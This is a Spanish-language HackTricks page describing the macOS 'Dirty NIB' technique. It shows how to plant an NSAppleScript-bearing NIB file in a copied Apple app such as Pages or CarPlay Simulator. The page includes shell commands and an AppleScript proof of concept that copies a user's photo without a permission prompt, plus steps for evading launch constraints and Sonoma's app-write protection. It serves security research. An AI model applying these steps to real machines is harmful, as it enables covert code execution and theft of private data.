9.2 KiB
macOS Dirty NIB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Esta técnica fue tomada del post https://blog.xpnsec.com/dirtynib/
Información básica
Los archivos NIB se utilizan en el ecosistema de desarrollo de Apple para definir elementos de interfaz de usuario (UI) y sus interacciones dentro de una aplicación. Creados con la herramienta Interface Builder, contienen objetos serializados como ventanas, botones y campos de texto, que se cargan en tiempo de ejecución para presentar la interfaz de usuario diseñada. Aunque aún se utilizan, Apple ha pasado a recomendar Storyboards para una representación más visual del flujo de la interfaz de usuario de una aplicación.
{% hint style="danger" %} Además, los archivos NIB también se pueden utilizar para ejecutar comandos arbitrarios y si se modifica el archivo NIB en una aplicación, Gatekeeper seguirá permitiendo ejecutar la aplicación, por lo que se pueden utilizar para ejecutar comandos arbitrarios dentro de aplicaciones. {% endhint %}
Inyección de Dirty NIB
Primero necesitamos crear un nuevo archivo NIB, utilizaremos XCode para la mayor parte de la construcción. Comenzamos agregando un objeto a la interfaz y establecemos la clase en NSAppleScript:
Para el objeto, necesitamos establecer la propiedad inicial source
, lo cual podemos hacer utilizando Atributos de Tiempo de Ejecución Definidos por el Usuario:
Esto configura nuestro gadget de ejecución de código, que simplemente va a ejecutar AppleScript a pedido. Para activar la ejecución del AppleScript, simplemente agregaremos un botón por ahora (por supuesto, puedes ser creativo con esto ;). El botón se vinculará al objeto Apple Script
que acabamos de crear y invocará el selector executeAndReturnError:
:
Para las pruebas, simplemente utilizaremos el Apple Script de:
set theDialogText to "PWND"
display dialog theDialogText
Y si ejecutamos esto en el depurador de XCode y presionamos el botón:
Con nuestra capacidad para ejecutar código AppleScript arbitrario desde un NIB, a continuación necesitamos un objetivo. Elegiremos Pages para nuestra demostración inicial, que es, por supuesto, una aplicación de Apple y ciertamente no debería ser modificable por nosotros.
Primero haremos una copia de la aplicación en /tmp/
:
cp -a -X /Applications/Pages.app /tmp/
Luego, lanzaremos la aplicación para evitar problemas con Gatekeeper y permitir que las cosas se almacenen en caché:
open -W -g -j /Applications/Pages.app
Después de lanzar (y cerrar) la aplicación por primera vez, necesitaremos sobrescribir un archivo NIB existente con nuestro archivo DirtyNIB. Para fines de demostración, simplemente vamos a sobrescribir el archivo NIB del Panel Acerca de para poder controlar la ejecución:
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
Una vez que hayamos sobrescrito el nib, podemos activar la ejecución seleccionando el elemento de menú Acerca de
:
Si observamos Pages más de cerca, veremos que tiene un privilegio privado que permite acceder a las fotos de los usuarios:
Por lo tanto, podemos poner a prueba nuestra prueba de concepto modificando nuestro AppleScript para robar fotos del usuario sin solicitar permiso:
{% code overflow="wrap" %}
use framework "Cocoa"
use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
{% endcode %}
{% hint style="danger" %} Ejemplo de archivo .xib malicioso que ejecuta código arbitrario. {% endhint %}
Restricciones de lanzamiento
Básicamente, impiden la ejecución de aplicaciones fuera de sus ubicaciones esperadas, por lo que si copias una aplicación protegida por Restricciones de Lanzamiento a /tmp
, no podrás ejecutarla.
Encuentra más información en esta publicación.
Sin embargo, al analizar el archivo /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4
, aún puedes encontrar aplicaciones que no están protegidas por Restricciones de Lanzamiento, por lo que aún puedes inyectar archivos NIB en ubicaciones arbitrarias en esas aplicaciones (consulta el enlace anterior para aprender cómo encontrar estas aplicaciones).
Protecciones adicionales
A partir de macOS Somona, existen algunas protecciones que impiden escribir dentro de las aplicaciones. Sin embargo, aún es posible eludir esta protección si, antes de ejecutar tu copia del binario, cambias el nombre de la carpeta Contents:
- Haz una copia de
CarPlay Simulator.app
en/tmp/
- Cambia el nombre de
/tmp/Carplay Simulator.app/Contents
a/tmp/CarPlay Simulator.app/NotCon
- Ejecuta el binario
/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator
para almacenar en caché dentro de Gatekeeper - Sobrescribe
NotCon/Resources/Base.lproj/MainMenu.nib
con nuestro archivoDirty.nib
- Cambia el nombre a
/tmp/CarPlay Simulator.app/Contents
- Vuelve a ejecutar
CarPlay Simulator.app
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.